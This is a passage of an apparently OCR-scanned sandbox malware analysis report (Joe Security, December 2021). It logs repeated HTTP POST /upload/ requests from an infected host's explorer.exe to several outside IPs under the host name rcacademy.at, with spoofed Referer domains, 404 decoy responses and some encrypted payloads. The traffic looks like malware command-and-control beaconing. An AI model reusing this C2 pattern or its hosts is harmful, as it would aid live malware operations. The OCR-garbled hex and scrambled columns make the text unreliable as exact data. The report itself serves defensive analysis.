Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6€ 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process
186.74.208.84 80 C:\Windows\explorer.exe

Data
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kBytes

Timestamp transferred Direction Data

Dec 18, 2021 1186 ouT POST /upload/ HTTP/1.1

18:40:00.802880049 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://tehrrb.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 348

Host: rcacademy.at

Dec 18, 2021 1187 IN HTTP/1.0 404 Not Found

18:40:01.653393984 CET Date: Sat, 18 Dec 2021 17:40:01 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
X-Powered-By: PHP/5.6.40
Content-Length: 334
Connection: close
Content-Type: text/html; charset=utf-8
Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e
Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Session ID Source IP Source Port Destination IP Destination Port Process
12 192.168.2.3 49755 110.14.121.125 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Dec 18, 2021 1194 ouT POST /upload/ HTTP/1.1
18:40:01.939894915 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://wwyak.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 326

Host: rcacademy.at

Dec 18, 2021 1943 IN HTTP/1.1 200 OK
18:40:06.997328043 CET Date: Sat, 18 Dec 2021 17:40:04 GMT
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40
X-Powered-By: PHP/5.6.40
Content-Length: 0
Connection: close
Content-Type: text/html; charset=utf-8

Session ID Source IP Source Port Destination IP  Destination Port Process
13 192.168.2.3 49778 186.74.208.84 80 C:\Windows\explorer.exe
kBytes
Timestamp transferred Direction Data
Dec 18, 2021 1948 ouT POST /upload/ HTTP/1.1
18:40:07.374876976 CET Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Accept: */*

Referer: http://tbgap.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 115

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 1956
18:40:08.046386957 CET

Session ID Source IP
14 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 1959

18:40:08.294715881 CET

Dec 18, 2021 1971
18:40:09.255575895 CET

Session ID Source IP
15 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 1977

18:40:09.545124054 CET

Dec 18, 2021 2013
18:40:10.728337049 CET
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Direction

IN

Source Port

49783

Direction

ouT

Source Port
49790

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:07 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dplpghmdyt.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 189

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:08 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rwnyela.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 354

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:10 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 102

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 00 00 d8 80 d7 bd 9d d9 al 98 be 23 cd c5 88 81 99 8b 5¢ 36 08 6e 48 ba 3c 03 e8 fb 48 el 9a e3 ba 32 da 2d
da f5 6¢ 5b 01 98 8b 8¢ c6 69 d1 30 01 00 dO 5b d8 08 32 04 07 eb cf 24 a0 28 fb 11 53 41 23 77 4d da 6a bb 77 4a ee 9b
2134 9d 65 d6 f1 €0 66 21 c6 1d el 15 f3 e7 48 02 0d 6d 92 09 eb b7 c9 49 d3

Data Ascii: #\6nH<H2-I[i0[2$(SA#wMjwJ!4eflHmI
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Session ID

16

Timestamp

Dec 18, 2021
18:40:13.007455111 CET

Dec 18, 2021
18:40:14.066519022 CET

Session ID

17

Timestamp

Dec 18, 2021
18:40:14.368011951 CET

Dec 18, 2021
18:40:15.550843000 CET

Session ID
18

Timestamp

Dec 18, 2021
18:40:15.808615923 CET

Source IP

192.168.2.3

kBytes
transferred

2572

2572

Source IP

192.168.2.3

kBytes
transferred

2573

2574

Source IP
192.168.2.3

kBytes
transferred

2575

Copyright Joe Security LLC 2021

Source Port

49794

Direction

ouT

Source Port

49795

Direction

ouT

Source Port
49796

Direction

ouT

Destination IP Destination Port Process

211.169.6.249 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fsfib.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 150

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:13 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://vrgbwg.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 288

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:14 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3¢ 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3¢ 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP Destination Port Process

110.14.121.125 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fithssip.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 321

Host: rcacademy.at
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kBytes
Timestamp transferred

Dec 18, 2021 2577
18:40:16.973362923 CET

Session ID Source IP
19 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 2578

18:40:17.526241064 CET

Dec 18, 2021 2579
18:40:18.018662930 CET

Session ID Source IP
2 192.168.2.3

kBytes
Timestamp transferred
Session ID Source IP
20 192.168.2.3

kBytes
Timestamp transferred
Dec 18, 2021 2580

18:40:18.754214048 CET

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49797

Direction

ouT

Source Port
49804

Direction

Source Port
49798

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:16 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htmI>

Destination IP Destination Port Process

176.44.122.100 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ocqatmv.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 234

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:17 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process
50.62.140.96 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe
Data
POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://fnnblryi.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 263

Host: rcacademy.at
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Timestamp

Dec 18, 2021
18:40:19.717310905 CET

Session ID

21

Timestamp

Dec 18, 2021
18:40:22.462424994 CET

Dec 18, 2021
18:40:22.835968971 CET

Session ID
22

Timestamp

Dec 18, 2021
18:40:23.097678900 CET

Dec 18, 2021
18:40:24.058804989 CET

kBytes
transferred

2580

Source IP

192.168.2.3
kBytes

transferred

10030

10297

Source IP
192.168.2.3

kBytes

transferred
10298

10299

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49806

Direction

ouT

Source Port
49807

Direction
ouT

Data

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:19 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 58

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 99 8b 5c 36 09 6b 55 e0 31 04 e8 fb 52 e0 8a ed a7 24 95 2¢c
9b fb 2c 57 5a 9a 8f 83 ca 6b d8 31 07 16 d0 11 89 5a 28 56 4c b8

Data Ascii: #\6kU1R$, WZk1Z(VL

Destination IP Destination Port Process

176.44.122.100 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://ehdxbv.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 282

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:22 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c 68 31 3e 4e 6f 74
20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 75 70 6¢ 6f 61
64 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70
3e 41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 7220 77 61 73
20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6€ 20 45 72 72 6f
72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68
72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL /upload/ was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></htm|>

Destination IP  Destination Port Process

187.156.124.76 80 C:\Windows\explorer.exe

Data

POST /upload/ HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://cuebgvrhhi.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 343

Host: rcacademy.at

HTTP/1.0 404 Not Found

Date: Sat, 18 Dec 2021 17:40:23 GMT

Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.6.40

X-Powered-By: PHP/5.6.40

Content-Length: 334

Connection: close

Content-Type: text/html; charset=utf-8

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65 3e 34 30 34 20
